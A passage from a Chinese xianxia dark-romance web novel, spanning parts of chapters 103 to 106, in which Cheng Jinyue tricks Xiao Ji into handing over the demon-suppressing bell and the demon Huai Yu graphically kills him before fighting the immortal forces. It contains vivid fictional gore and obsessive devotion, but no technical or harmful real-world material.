他四处张望着,想要把这个好笑的笑话分享给所有人。 所有人都惊慌地抬起头,看着萧极,一道道期盼的目光注视在他的身上。 萧极怎么可能会做出这样的选择? 萧极怎么可能是这种人? 萧极却没有因为无数道目光的注视有任何的变化,在怀钰的嘲讽下,他依旧漫不经心地坐在原地,神情一如既往平静,颀长的身姿带给所有人信任。 风吹散了萧极梳得整齐的长发。 “我劝你趁我心情还好的时候回答。” 他声音冷冷,目光只是放在程今越的身上。 “我劝你在程今越还活着的时候态度恭敬一点。” 怀钰毫不在意地开口,嘴唇咧开,森白的牙齿露出,带着戾气与嘲讽。 他握住程今越的脖子,就像是握住一只岌岌可危的小鸟,他轻轻摇晃着,程今越瘦弱的身姿都随着怀钰无力地晃动起来,鲜血还在无声地流淌着。 气氛在这里一刻冷到极点。 怒意不断在他的心头叠加,像是暴雨将心口淹没,整个人要溺亡在水中。 从未有过的挑衅。 如果按照往常,对方早就被他碎尸万段。 可如今,程今越在对方的手里。 萧极觉得自己疯了,他不知道为什么,他下不去手。 明明他比谁都清楚,程今越算什么?她不过就是一个萍水相逢之人,不过是一个满口谎言的骗子! 她聪明,恶劣,狡黠,玩弄人心,她不过是一个卑贱之人,一个玩物,从来都只能如这些凡人一样,俯下头,匍匐着祈求他的怜悯。 他的理智告诉他,杀了程今越,杀了怀钰! 可是……可是! 他做不到,他不想看到程今越去死,他不想看到程今越受伤,不想看到她难过,不想看到她落泪。 她孤身一人,无依无靠,能够依赖的只有他! 程今越绝对不可以去死,绝无可能! 怀钰的眼睛盯着萧极,将怀中的程今越又抱紧了一些。 没有人说话。 怀钰指着萧极。 “很简单,萧极。” “我也不是什么难以沟通交流的人,你看,你总是对我如此警觉。” 怀钰笑着,轻轻挑眉。 “我只要破魔铃,交出来,我就把程今越还给你。” 怀钰缓缓说出要求。 此话一出,众人先是心中稍稍安稳,并不是要萧极的命与换程今越的命这样无理的要求。 这只魔种还算有些畏惧仙界。 但知道更多的人已经大惊失色。 破魔铃是什么东西? 这是镇压这只魔种最关键的东西,是仙界众仙耗费心血与时间,历经千辛万苦才做出来的东西。 光是世间最珍贵的长明族人的血,便寻了几十个人,这寻找中的艰辛不必多说。 一旦破魔铃交给了这只魔种,世上便没有任何能压制住他的东西了。 这只魔种成长的速度实在是太恐怖惊人了。 从最初的弱小,到能与仙界众仙打得有来有回;从最初畏惧破魔铃,到能强抵着破魔铃险输给萧极。 要是将破魔铃给了魔种,封印解除,这相当于把整个世间交到了魔种的手里,到时候,世间便真的会出现一只恶贯满盈的魔神。 届时,不只是萧极会死,他们都得死! 好一个要求,看似退了一步,实则要的是他们所有人的命! “不可!” 终于有人上前开口,怒目圆瞪,着急地看着萧极,瞬间朝萧极深鞠一躬,“界主,万万不可!” “若是将破魔铃交给这魔种,封印解除,他一定不会放过我们所有人的!” 一言而出,众人随之跪下,期盼的目光看向萧极。 萧极往后靠着,置若罔闻,抬起下巴轻蔑地看着怀钰,嘴角勾起,眉眼之中隐约出现怒意。 他只是轻轻抬手,领头说话的那个人便被一道剑光打至地上,鲜血四溢,无定界的亲卫冷冷走上前,将人拖走。 又只是片刻的时间,地面又立马变得干净。 四周又瞬间变得安静下来。 正准备跟着领头人说话的人瞬间屁滚尿流地退了下去恭敬地跪着,冷汗瞬间爬上后背,整个人匍匐在地上。 “嘘。”他轻轻将手指放在嘴唇上。 萧极尚还穿着婚服,看起来温和,柔然,实则谁都知道其中是怎么样的无动于衷,是作壁上观的高傲恶劣。 就跟他脸上的笑意一样,虚假,只是深深的寒意。 萧极在犹豫,他没有开口。 在怀钰手中的程今越却一直摇着头,她的声音带着颤音,“界主,不要……” “别把破魔铃给他!” “别管我,杀了怀钰,杀了他!” 程今越双眼泪痕,泪珠一颗一颗地落下。 她身受重伤,声音虚弱。 话音未落,程今越的脖子被怀钰紧紧掐住,脸色苍白。 强大的身体将她瘦削单薄的笼罩,对方的手臂铁一般箍着她。 “程今越,这里没有你说话的地方哦。” 怀钰身上的香味进入她的鼻腔,依旧是熟悉的气息,此刻却像是梦魇一般。 “界主,我没有那么多耐心,我给你一炷香的时间思考,这已经是我能给出的最大的仁慈了。” “一炷香后,破魔铃没有交出来。” 他低头,看着怀中虚弱的程今越。 眼眸之中带着病态与缱绻,像是拉丝一样,直勾勾地盯着程今越。 怀钰伸出骨节分明的手,轻柔地抚摸着程今越苍白的脸。 “那她就去死。” 所有人都看向萧极,所有人都等待着萧极的回答。 萧极低低地闷笑,他死死地看着怀钰。 无尽的愤怒潜藏在他平淡的皮肉之下,手背的青筋不断凸起,心中有无尽的杀意在暗潮汹涌。 一旦他交出破魔铃,那他们近百年的努力将前功尽弃。 这道阵法也将失去阵眼,失去原先的作用。 当时手中有破魔铃,也不过是和怀钰打个平手,如今加上阵法,没有人有把握能够镇压这只魔种。 但可以肯定的是,一旦启动,程今越必死无疑。 绝对不可以! 为什么程今越会被这只魔种掳走,明明他已经做了万全的准备,为什么还是这样? 明明他已经用尽了全力! 都怪他没有将程今越死死带在身边,都怪他没有保护好程今越。 萧极一生从来平淡,他没有喜好,没有什么特别的东西能让他多看一眼。 仅有程今越。 像是一颗钉子,嵌入他的骨肉之中。 疼痛,难忘,分不清是爱还是其他扭曲的东西。 谁说没有破魔铃仙界便无人可与怀钰一战? 萧极从来高傲,又有什么事他做不到的? 一炷香不断随着风飘散,就像是程今越的命一样,不断流散着。 没有人说话,香即将烧至最后一点。 “时间不多了哦,界主。” 怀钰催促着。 四周寂静,极寒的气息让人甚至不敢呼吸。 “好。” 清冷的声音在空中响起。 萧极将破魔铃放至手心,澄澈的光从铃铛之中散开。 这是世间最珍贵的宝物,耗费了众仙百年心血,用数不清的珍宝打造,用几十条长明族的血肉筑造,才成就了此刻的澄净光辉。 怀钰脸上浮起笑,他伸出手。 众人脸色苍白,完了! 萧极脸上却没有一丝慌乱,甚至比从前更加从容散漫。 他往前走着,一步一步靠近怀钰,靠近程今越。 他越发看清程今越身上的血迹,身上的伤口狰狞,染红了她整件嫁衣。 萧极看着程今越,几乎无法控制住自己身上的情感。 怒意从他的眼睛里溢出。 每一步走得都让他难以呼吸。 他看清了怀钰,看清了他脸色轻佻的笑。 程今越在他的怀里,奄奄一息。 “把她给我,我们一手交人,一手交物。” 萧极冷冷道。 怀钰笑着点头,“当然。” 他抓起程今越的左手,萧极接住程今越的右手。 破魔铃在不断移动至怀钰的右手。 所有人看着这一幕,屏息凝神。 破魔铃就快到达怀钰的手中,程今越快要到达萧极的手中。 刹那间,破魔铃瞬间发出光辉,清脆的铃声响彻寰宇,布下的大阵随着这铃声瞬间启动,金色的光辉从所有人的身下浮起,直冲云霄,笼罩在所有人头上,光芒万丈。 灵力瞬间泄开,仙界兵将闻声而动朝魔族攻去。 怀钰早就有所防备,一掌就朝程今越的后背袭去,这是全力的一击,恐怖骇人。 只听见轰隆一声,魔气散开,锋芒毕露,魔气灵气碰撞,让人头晕目眩,众人被余波打到地上。 众人心道不好,神女殿下! 却见萧极整个人将程今越紧紧搂在怀里,完完整整地接下了怀钰的一掌。 他浑身一颤,口中瞬间吐出鲜血,从来高傲的头,如今却埋在程今越的颈窝里,脸色苍白。 “别怕,程今越,没事……” “我说了……我会保护你的……” 程今越震惊地看着他,双目瞪着,她声音颤抖。 “你疯了?” 破魔铃就近落在了她的手上。 她也摸到了藏在腰间的刀。 第104章 “我就是神女殿下的一条狗。” “疯了?” “是啊,程今越,我甘愿为你发疯。” “我心甘情愿,我甘之如饴。” 程今越抬起头,黄昏之中,萧极的面孔依旧俊美得像一幅画。 但不应该是这样苍白的,脆弱的,奄奄一息的。 这是她做梦都想不到的场景。 过往的种种浮现在脑海,男人冷辣的气质,黑色的眼眸,极强的压迫感,上位者的气场,身上淡淡的香气,都在程今越脑海里瞬间穿梭。 萧极是一个格外从容雅致的人。 他从小就是万众瞩目的天之骄子,喜怒从来不形于色。 即便是最愤怒的时候,也无法从他的脸上看到一丝痕迹,即使是最残酷的话,也可以用平和的语气说出口。 优雅从容的皮囊包含了冷漠、残酷、无情。 明明他是人,但他比怀钰这只魔神甚至还要残酷。 这一切复杂的东西交叠,汇成了完整的萧极。 但,程今越看不透人心的只有一点。 她不明白萧极为什么会帮他挡住这一掌。 像是阴寒的沟壑之中长出了一朵脆弱的花,畸形,奇怪,明明根本就不该属于这里。 破魔铃落在程今越的手上,所有人都看着她。 这是决定胜负的关键,破魔铃绝对不能被这只魔种拿到。 萧极生生挨下了这一掌,鲜血落在他从来干净的衣裳上,他却还是紧紧抱着程今越,用手捂住她胸口的伤口。 “程今越,用你的血控制破魔铃,控制整个阵。” “你想要就会实现!” 他看向程今越。 程今越是长明族,是唯一可以完全控制破魔铃的人,她也曾经做到过。 萧极信任程今越,他甘愿将后背交给程今越,甘愿把性命交给程今越。 她知道,她当然知道。 程今越等这一刻等了太久太久了。 她当然知道她想要的都会实现。 “我知道,萧极。” “我会做到的,我会的。” 萧极看到程今越伸出手,催动起破魔铃,白色的光在她的身上溢出,她的长发飘舞,脆弱的身姿上还带着血,脸色苍白。 她身后是芸芸众生,是仙界众人,是无数期盼的双眼。 没有人想过,自己的性命会由这个如此柔弱的少女保护。 她身后是仙魔混战,刀剑铮鸣,万万人厮杀在一起,血与肉在她的身后迸发,灵力波动,山河震撼,哭泣与叫喊回荡不绝。 而程今越独立其中,屹立不倒。 破魔铃由程今越驱动,众生头上巨大的法阵飞速流转,比岁月还快,比光阴还快。 天地都在程今越的操控之中。 萧极的心跳得很快,很快,从未有过的快。 他将赌注全部压在程今越身上。 一瞬之间,四周寂静。 所有哭泣声,刀剑铮鸣声,灵力波动的声音,就连人们的呼吸声都一并都剥夺。 巨大的压制感从程今越身上袭来,所有人感受到骨肉之间传来剧痛,像是被一双大手挤压,强硬地按压他们所有人的背脊与双腿。 这是……怎么回事? 轰隆声传来,只见众生都朝着程今越跪了下来。 不论是仙还是魔,亦或是这芸芸众生。 在法阵下,平等地朝拜着程今越。 她浑身带着柔光,骨相柔美,眉眼充满慈悲,低垂的眼眸盈盈地俯瞰众生。 这是真实的大衍神女,神圣,不可直视,不可亵渎,不可不敬。 为什么会朝程今越叩拜? 好奇怪……为什么会这样? 众人惊恐疑惑,想要挪动身体,却无论如何都无法挣脱禁锢。 破魔铃在程今越手中不断摇晃着,清脆,柔和,悠远,像是能穿透人心,带到遥远的从前,让人心甘情愿地袒露出心脏,呈放在程今越的手中。 朝神女殿下朝拜…… 不是一件格外正常的事吗? 程今越慈悲的面孔刻入所有人的脑海之中,从心中油然而生的敬畏。 “神女殿下,救苦救难,弟子深陷迷途,求神女指引吧!” 众生的声音回荡四周,哭着,喊着,期盼着,疯狂着。 他们不断叩拜着,任由鲜血从额头之中溢出。 而神女殿下,立于万万人之上,清冷的面容突然笑起来 双眉轻挑,本该是菩萨般的笑容慈善得有些诡异。 清冷的眼眸之中,她低头俯视着众生。 曾经她站在山巅许过的誓言,在此刻一一应现。 这才是长明族血脉的真正作用。 操控人心。 萧极听见了众人的呼喊,看到了程今越的身影。 他看到程今越突然转身,看着他,眉眼轻挑,笑意盈满。 他不蠢,在这一刻,他彻底明白了程今越的企图。 萧极突然轻笑起来。 “程今越,你谋划这一天谋划了很久吧。” 巨大的疼痛从五脏六腑传来,鲜血从他的喉咙之中不断溢出。 此刻,萧极大脑有些空白,他听到自己耳畔传来嗡鸣。 被背叛的愤怒与仇恨瞬间冲刷掉他所有的理智,程今越此刻的笑容和从前温顺乖巧的少女形成了极端的对比。 过去所有的回忆都在此刻涌入心头,像是梦一样,萧极觉得有些不真实。 拥抱与誓言都仿若在昨天。 程今越不回答他,看着萧极,仿佛在看一个陌生的人,只是笑着,满眼慈悲,或者说是无情。 赶紧去死吧,情话她可以等萧极死后慢慢烧给他。 “你几乎没有修为,就算是操纵破魔铃,也无法做到控制所有人。” 甚至是他。 “谁在帮你呢?” “除了我,你又在和谁合作呢?” 他冷静地说着,尽管身上的血不断流淌着。 “界主,你从来都很聪明,你也定然是清楚的,又来问我做什么呢?” 程今越笑着。 众人都跪着,都被破魔铃操控着。 只有一个人,只有这个最应该被破魔铃压制的人。 众人看见破魔铃的束缚从他身上解除,他缓缓地站了起来。 怀钰轻笑着,眼尾上挑,耳坠上的红色流苏随风飘逸着。 和方才的乖戾与嚣张全然不同。 一双眼睛直勾勾地看着程今越,嘴角上扬,病态又阴湿的笑朝着程今越。 “怀钰。”程今越轻轻叫着。 看到程今越朝他招手后,众人看见恶贯满盈,嗜血无情的魔神,竟然兴奋地朝程今越奔去。 “小越,小越,我在,我在!” 高大的魔神同其他人一样,飞快地跪在程今越的膝下。 不受控制地,魔神跪在神女膝下,用头蹭着程今越的手,眼眸之中瞬间泛红,他浑身颤抖,泪水甚至都要从他眼眸之中流出,口中不住地传出呻吟。 像一条狗一样。 萧极突然失笑起来。 他这才发现,程今越身上根本没有任何伤口,只有空空的血迹在衣服之上。 这些伤口全部原模原样地出现在了怀钰的身上,明明伤口还在流着血,对方却仿佛不知疼痛一般。 替身术。 这样的伎俩,萧极是不该被骗的。 从来精于算计,善于玩弄人心,高高在上的权谋者,竟然有一天会死于忠诚。 这只魔种在为程今越提供操纵破魔铃的灵力,明明破魔铃是压制他的法器,明明这样做,破魔铃会腐蚀他的血肉与灵根。 这是极大的疼痛,一定不会逊色他如今遭受的痛苦。 萧极觉得这个世界疯了,包括他自己。 他低低地笑起来,他忍着喉咙的血,“魔种,你还在帮她?” “程今越骗了我,现在还在骗你!” “她明明之前就已经骗过你一次了!你还在相信她?” “我告诉你,她能骗你一次,就会骗你第二次。” “她能杀我,便一定可以杀你!” “程今越不爱任何人,她只爱她自己!” “我的今日便是你明日的下场!” 怀钰闻声站起来,笑着,抓住萧极的衣领,便死死地朝萧极打过一拳,力道极大,一拳穿透他的胸口,打碎他的骨头。 “小越是不可能会骗*我的!” “还想要挑拨离间!” 萧极看着程今越和怀钰贴在一起,他便觉得浑身有怒火焚烧,他要杀了程今越! 嫉妒,后悔,恨! 萧极觉得浑身都好痛。 到底是身体更痛,还是心口更痛? 他好像已经分不清了。 程今越怎么会骗他呢? 程今越怎么不会骗他呢? 他明明一开始就知道程今越是什么人。 可是他为什么又心甘情愿地飞蛾扑火? 为什么怀钰不能听他的话杀了程今越,这样程今越就能知道,真正爱她的只有他萧极! 只有他! “程今越,我很后悔。” “但我不后悔和你合作,也不后悔和你成婚。” 他突然诡异笑着,“我只后悔没有把你看紧,让你有太多自主权。” “如果重来,我会把你的双手双脚都砍断,这样你就可以乖乖待在我身边了。” 可是已经晚了。 程今越不为所动,低眉看着他。 “怀钰,杀了他。” 少女温柔地笑着,这是她送给自己的最后一句话。 随后她头也不回地走了。 怀钰一拳一拳砸在他的身上,是血肉被捣碎的声音。 就如那天的情形反转一般,他成为程今越的受害者。 怀钰将他踩在地上,挖去那双黑眸。 因为他记得,小越喜欢萧极的眼睛,想要把他做成观赏品。 他一掌碾碎。 做梦。 就算要,他可以把自己的眼睛送给小越。 没有任何东西可以留在程今越大身边! 怀钰记得当时萧极对他做的一切,记得清清楚楚,他现在要全部要还回来。 以牙还牙,以眼还眼。 他笑着,露出獠牙。 “你还说错了一件事。” 他低头看着已经变成肉泥的萧极。 “小越根本就不需要骗我啊,她说什么我都会去做的。” 他不需要程今越的任何原因,不需要理由,只需要程今越的一句话,只乞求程今越的一点点怜爱。 “我就是神女殿下的一条狗。” 第105章 我们要生生世世纠缠。(重写了) 怀钰一拳又一拳落在萧极的身上,血浆迸裂,鲜血染满了整座高台。 苍穹上是阵法在转动,高台下是众生叩首,台上有圣洁的神女,像是一场巨大的献祭仪式。 但是萧极还没有死,浑身的疼痛萦绕,他的眼睛已经被挖了,眼前一片黑暗,他只能听到怀钰的笑声,听到众生的呼告,听到自己骨头碎裂的声音,唯独听不到程今越的声音。 直到这一刻,萧极都不能相信程今越能对他如此狠心。 不过他很早也就知道,程今越就是这样冷酷无情的人。 他们像得过分。 她对别人狠,对自己更狠。 不然她又是怎么走到这一步的呢? “萧极,你就是萧极啊?” 怀钰冷冷笑起来。 怀钰从未有一刻比今日更加兴奋,更加开心。 手刃仇敌,他想这一刻已经想了太久了! “去死吧,去死吧,去死吧!” 他毫不犹豫地拿出那把刀,一刀一刀捅在萧极的身上。 “萧极,你感受到了吗?” 他笑起来,脸上全是萧极身上的血。 “这是小越送给我的刀哦。” 他握住这把刀,嘴角疯狂上扬,利刃猛烈地划破空气,死死捅进萧极的胸口。 心脏,腹部,头颅,大腿,左手。 怀钰记得那一天的所有! 他记得萧极是如何威胁小越,记得萧极是如何强迫小越,记得小越有多难过。 他记得程今越的眼泪,那是刻在怀钰心口的一把刀。 怀钰发疯似的捅着萧极,可他的口中却不断涌出鲜血。 鲜血如瀑一般倾倒在萧极的身上,明明刀捅在萧极身上,却好像是刺在他自己的身上。 怀钰听到只剩一口气的萧极传来低低的轻笑。 “魔种,这道法阵原本就是为了你而布置……” “闭嘴!” 怀钰立马出声扼住,黑发落在他的肩上,被鲜血打湿,耳坠上的红色流苏摇晃着。 他大口大口喘着气。 一刀落在萧极的喉咙上,将他的头拧下来。 这样他就无法说话了。 “都快死了,还想挑拨离间!” 萧极这种修为的人,是格外难杀的,就算是把心脏挖出来,剁成肉泥,也不一定能完全让他死去。 一定要挖出他的灵根,毁掉他的根基! 怀钰从萧极的背脊进入,一路摸索,将脊骨一把拉出,随后毫不犹豫,他用刀折断又碾碎。 随后一口鲜血又从他的喉咙之中涌出,脸色格外苍白,可他只是笑着。 他耳畔一片模糊,他觉得头开始痛起来,浑身的血都在澎湃,好像要从他的皮肉之中钻出来。 好痛,好痛。 从心口传来疼痛,浑身的血肉都像是在被侵蚀。 “魔种,这道法阵本来就是为了你而打造的,这是你的天然囚牢,只要开启了,便永不停息!” “破魔铃更是专为你制作的武器,而你却要逆天而行,用魔身之力强行驱动。” “程今越根本不爱你!她会杀了我,那就一定会杀了你!” 萧极的肉身明明都已经死了,神识却还没有完全散去! 还在他的耳畔萦绕。 “去死啊!你懂什么!你明白什么?” “要是没有你,小越早就和我成婚了!” 怀钰诡异地笑起来。 怀钰将萧极的心脏挖出碾碎,又将他的脑袋摘下来踩碎。 终于,世间安静了。 萧极死了。 众人看见曾经高高在上的,无人可及的,世间第一的天才,如今成为了一团烂泥。 而罪魁祸首,这只恶贯满盈,杀人无数的魔种,却像一条狗一样,跪在程今越的脚边。 程今越看见鲜血汩汩地从怀钰身上流出,浑身的血肉不断被侵蚀,鲜血流了一地,全身的内脏都在往外流着。 魔气与灵力碰撞,在他的身体里面搅成一团诡异的血肉,正从他的伤口之中不断蔓延生长出来。 不断被侵蚀,又以最快的速度生长着,保持着一个诡异的平衡。 程今越触目惊心。 她顿时有些说不出话。 “怀钰,你没事吧……” 泪水从程今越的眼眸之中溢出。 怀钰却摇摇头,他笑起来。 “我当然没事!” 尽管他浑身都是血。 好痛,全身都好痛。 但是有小越在,也没有那么痛了。 他伸手抹掉程今越脸颊的泪,手上的血却又将程今越的脸打脏。 他愣住,想要将手缩回,却被程今越抓住。 程今越弯腰紧紧抱住怀钰,他的血流到了程今越身上。 程今越伸出手,轻轻抚摸着怀钰的头,指尖穿梭进怀钰的发间。 怀钰感受到温暖的拥抱,熟悉的香味溢入他身体之中。 四周全是血,落日残霞铺满长空,年初的风依旧是冷冷的。 但在此刻,怀钰却感觉到了泪水不自觉地从他的眼眶之中溢出。 好幸福。 原来程今越真的选择了他,原来他真的和程今越站在了一起。 他从来都不是什么没有人要的小孩,也不是没有人爱的魔种。 程今越会爱他的。 怀钰从来不懂什么叫做幸福,他曾经以为幸福的第一反应是开心。 但其实,感受到爱和幸福的时候,眼泪会最先落下来。 “小越,我做得好吗?” 怀钰抬起头,朝程今越笑着。 程今越瞬间喉咙有些酸涩。 “做得好,怀钰。” 他身上的血肉仿佛有自己的意识一般,只要碰到程今越,就从伤口之中蔓延出来,攀爬上程今越的衣袖,脸颊,想要将她缠绕,将她搂入血肉之中。 极端又热烈的爱意。 她感受到了怀钰在哭,泪水与血交汇在一起。 “怀钰,为什么要哭呢?” “他们都会死的,不是吗?” “是的,他们都会死的。” “所有人都会去死的。” “他们都该去死。” 怀钰笑起来,看着程今越。 一口鲜血又从喉咙之中溢出。 他急忙擦掉嘴角的血,“我没事,小越,我没事。” 法阵原本应该由仙界近百仙共同操控,而如今却由怀钰在承担全部灵力。 程今越灵根微弱,修为低下,作为阵法操控者,为了让程今越免于遭受反噬,怀钰还会分出一部分修为保护程今越。 程今越心跳得很快。 她不知道怀钰能够撑多久。 随着怀钰吐出一口血,法阵瞬间颤抖,灵力被中断了一瞬,法阵的束缚瞬间削弱,修为高强者已经在逐渐摆脱这个法阵的控制。 一道愤怒的声音中气十足地从人群中传出。 “程今越,你这个妖女,你伙同魔种,欺上瞒下,残害无辜,你简直是罪该万死!” 作为仙界之中资历最深的严定站了出来。 程今越眉头微蹙。 不好。 按照计划,程今越很贪婪,他要的东西很多。 她要复仇,要怀钰的灵根,要这些人的修为,要杀了所有人。 但她此刻却无比冷静。 她早就知道事情不会如此顺遂。 程今越清楚地明白舍得的道理,她需要做出选择,做出取舍。 只是电光火石间,毫不犹豫,她做了选择。 “怀钰,用破魔铃解开封印,毁了它,破开这道阵法!” 现在解开怀钰的封印才是最好的解决方式。 “解除封印?” “程今越,我不需要这一步。” 怀钰立马开口拒绝。 他轻笑着。 他站起身,擦去身上的血,拔出身旁的剑,看向远处大叫的严定。 毫不犹豫地就要朝对方杀去。 程今越愣住了,她看着浑身是血的怀钰。 她不明白。 “为什么?” 一切都朝着她未曾料到的结局走去。 其实程今越根本不是什么能玩弄人心之人。 或者说她根本不能理解人心。 她不理解冷血的权谋者萧极会为她挡下那一掌,也想不通为什么怀钰会拒绝解开封印。 明明这些都是对他们百害而无一利的事情。 “怀钰!” 程今越喝止。 怀钰摇摇头,拿着剑就朝严定杀去。 “程今越,你身子弱成这样,你现在是操控法阵的人,是操控破魔铃的人。” “破魔铃毁了,你不死就是半残。” 他绝不会让这样的事情发生。 程今越绝对不能有任何的事情。 并且,就算不是这样,他也不想解开封印。 这已经是他们之间唯一的束缚了,唯一能够把他们联系在一起的东西了。 封印不解除,他和程今越的血契就永远无法解开。 永生永世,他们都会再次遇见。 他已经失去了所有的思考。 也没什么好思考的了。 他是个疯子。 “程今越,无论如何,我都是不会和你解开血契的,你别想抛下我。” 他笑起来,血浸湿了全身,眉眼轻佻,万千跟在他的身后,朝仙界众人杀去。 无数只魔种围住程今越,将她层层包围起来。 这些魔种依旧是怀钰用血肉制成,继承着他最原始的爱欲,不断贴近程今越。 “你这个怪物,一边顶着法阵,还要与我众人打斗?我都要看看你有什么能耐!” 严定轻笑。 怀钰轻笑,尖锐的利牙露出,身上的伤口不断被侵蚀又生长,肠子隐隐约约掉落又缩回。 血肉在魔气的驱动下在他身上疯狂生长,他的手异化成了巨大的触手,背后又膨胀出了一只手。 身上窟窿无数,皆冒出狰狞的血肉在磅礴生长。 一剑落在对方身上,严定拼尽全力抵挡,灵波袭开,将周围的人全部扫开。 轰隆一声,严定吐出一口血,剑也在此刻断裂。 “你这无父无母的杂种!你这贱人!” “魔种,你毫无人性!你杀了这么多人!你真该死!” “……” 严定不断咒骂着。 但怀钰却已经听不懂了。 疼痛在他全身席卷,他已经快要失去所有理智。 好痛,好痛…… 他从来没有这么痛过…… 他从未觉得死离他这么近。 但,也不算什么。 都是为了小越。 他是在为了小越而活啊。 兴奋感瞬间从他的大脑炸开,迅速蔓延全身。 “怀钰,住手!” “别这样!别这样!你会死的,你会死的……” 泪水从程今越的眼中溢出。 他听见程今越在唤他,在关心他。 他能从魔物的身上感受到程今越为他担忧的情绪。 好幸福好幸福好幸福好幸福好幸福好幸福…… 如果只是痛苦就能换来程今越的在乎,那他甘愿一辈子都这么痛苦。 怪异而恐怖的笑声从他喉咙里发出。 “说完了吗?” “那就去死吧。” 他将手伸进后背,手指钻进血肉之中,将后脊骨连根拔出,鲜血淋漓,带着血肉。 形成一把恐怖的脊椎剑。 毫不犹豫,他一剑刺去。 一道人影却抵挡在他身前,阻拦住了他这一剑,白光瞬间绽开。 “怀钰——” 怀钰被这道灵波狠狠打在地上,地面碎裂,他深陷坑中数米,鲜血四溢。 一口鲜血从怀钰口中溢出,内脏从他喉咙里不断被吐出。 “怀钰!为什么不解开封印啊?为什么不啊?” “你会死的!你真的会死的!” 就算她已经将法阵对怀钰的束缚降到了最低。 但法阵就是为了封印压制怀钰存在的! 程今越的心跳得很快,她快要不能呼吸,她的喉咙快要嘶哑,她的眼泪快要流干。 呼吸间,趁这个空档,严定瞬间站起身朝程今越杀来,身后还跟着数人。 一路斩开魔物,朝程今越直愣愣而来。 几道剑就要落在程今越的身上。 程今越心脏骤停。 一道血肉模糊的身影却挡在他身前,脊椎剑将几人斩首。 最后的一剑没入了他的胸口之中,直直贯穿了整个心脏。 程今越停滞了呼吸。 “怀钰……” “不要……怀钰……” 一剑从胸口狠狠拔出,怀钰身躯随之一动,血落在程今越的脸上,那样温热,那样鲜红。 在程今越的记忆中。 怀钰是战无不胜的,是无所不能的。 “怀钰”这个词,怎么会和“死亡”挂钩呢? 第106章 尾声(一) 程今越的胸口闷闷的,她无法呼吸。 胸腔里像是翻滚着滚烫的岩浆,但却始终寻不到喷薄的裂口。 这一剑像是在程今越的眼眸里变慢了,不断在她的脑海里翻涌。 人在真正痛苦的那一瞬间,没办法流出眼泪的。 有什么东西堵在程今越的喉咙里,她一瞬间几乎无法发出声音。 “怀钰——” 不要,不可以,不允许! 怀钰绝对不可以死,谁都可以死,但是他一定不可以死! 绝对不可以! 程今越刚想要伸出手去抱住身前的这一滩几乎不成人形的肉泥。 但刹那间,怀钰的笑声却低低响起。 胸口狰狞的血窟窿以肉眼可见的速度愈合着,能看见其中破裂的心脏还在诡异地跳动着,长成了格外诡异的形状。 一剑猛烈地刺进严定的胸膛之中,天地震颤,巨大的烟尘飞起,所有朝程今越出手的众人全部变成一地血肉。 程今越愣住了。 怀钰转过头,看着双眼含泪的程今越正在抬着头看他,他轻轻弯腰,笑起来,牵住程今越的手。 “小越,我当然不会有事的。” “我是魔种,是怪物,我永远都不会死。” “我只为你而活。” 程今越握住怀钰手的那一刻,她再也忍不住大哭起来。 她想要伸出手抱住怀钰,对方却摇摇头。 “小越,我现在不是很好看,你不用抱着我了,我只要知道你在我身边就好。” “我不想吓到你,也不想把你弄脏。” 他尽力笑得好看一点,声音竭力地温柔。 程今越泪如雨下。 怀钰如今哪里算是不好看,甚至已经失去了人形,他浑身血肉膨胀,整个人变成一堆血肉堆积的怪物。 那一双骨节分明的手如今全都是血,还有无数的血管在上面蠕动。 他喘着气,不断呼吸着,整个人却笑着,格外诡异。 但她很快就冷静下来了。 她不能哭,她不能感情用事。 “怀钰,杀了他们,把他们全杀了!” 她的每一步博弈都赢了,她也做了正确的选择。 怀钰这个怪物强得可怕,明明是在绝对克制的法阵之中,她却感受到怀钰的生命力在不断成长,恐怖逆天的修为,越是深的伤,越是疼的痛苦,他便能靠这些苦痛变得更强。 程今越有着这世间最强的刀。 烟尘散去后,严定被一人扶起,他大口地吐着血,恶狠狠地看着程今越。 “你这妖女,你与魔种私通,你不得好死!” 法阵动荡,身后的仙界众人几乎快要压制不住了。 只是浩荡一声,两界顿时交战,四周轰隆,天地为之震颤。 所有人都朝程今越杀来,怀钰一人拿着剑挡在她的身前。 怀钰已经快要看不清程今越的脸了,鲜血已经将他的双眼都模糊了。 浑身的疼痛几乎让他不能呼吸。 “别怕,小越,有我在,不会有事的。” “躲在我身后就好!” 四周混战,魔物将程今越层层包围住,仙界众人无一人能够近程今越的身。 只要靠近者就会被立刻斩首。 仙界众人死伤众多,严定指着程今越便开始辱骂。 “程今越,你这个心肠歹毒的贱人!” “口中说什么苍生大义,却和魔种联手,你能走到今天这一步,我仙界哪一步愧对你了!” 他拿着剑就要往程今越冲去。 “等等——” 此人拦在严定身前,一剑拦住严定。 “孟朝,你做什么?你也疯了吗?” “就连你也要站在妖女的那边吗!” 严定抬起头,难以置信地看着孟朝。 孟朝没有看严定,只是抬头看着程今越。 程今越躲在怀钰身后,这只已经不成人形的怪物,浑身都是蠕动的血肉,恶心至极。 他双手攥紧。 孟朝站在人群之中,体格高大,绷带缠着手臂,勒出肌肉的线条,鲜血从中溢出。 他与程今越的眼睛直视,他觉得很陌生。 他记得和程今越每一个瞬间,记得少女温柔的眼眸,记得她的一颦一笑,记得她的坚韧。 他记得在深夜之中朝他伸出的那一只手,而如今,却像一个梦一样。 为什么程今越站到了她的对立面去了? “三小姐!” “我不明白!孟朝不明白!” 他的声音嘶哑又大声。 他们隔得很远,被夕阳的余晖隔成了两边。 怀钰挡在程今越身前,“搞笑。” “这里有你说话的地方嘛!” 他一剑朝孟朝砍去,“现在知道关心起小越来了?你们这群虚与委蛇的东西!” “你们都去死啊!” “你和萧极才是最该去死的!” “问,你有什么资格在这里问!” 鲜血从怀钰的身上溢出,疼痛已经快要让他麻木了。 没关系,只要是为了小越,这些伤这些痛,什么都不是。 什么都不是! 一剑破苍穹,天地震颤,怀钰一剑又一剑,孟朝一口鲜血从喉咙之中溢出。 他脸上毫无惧色,风吹起他猎猎长袍,眼神坚毅,一剑又一剑抵挡着怀钰,并没有攻势,只是防守。 “你们真是虚伪又可笑,小越根本就不爱你们,还非要缠着小越!” 程今越只是笑着,她不作理会。 沉默已经是最好的答案了。 但是孟朝不信。 他才不要相信! 直到脊椎剑没入他的胸口。 “孟朝——” 严定大声呼喊着。 “程今越……程今越!” “你这个无耻的卑鄙小人!你恶贯满盈,心思狠毒!” “孟朝为了你殚精竭虑,他为你一心一意,你却对他如此!” “程今越,你根本没有心!” 严定不断谩骂着,程今越却毫不恼怒。 四周剑光缭乱,而程今越却笑起来。 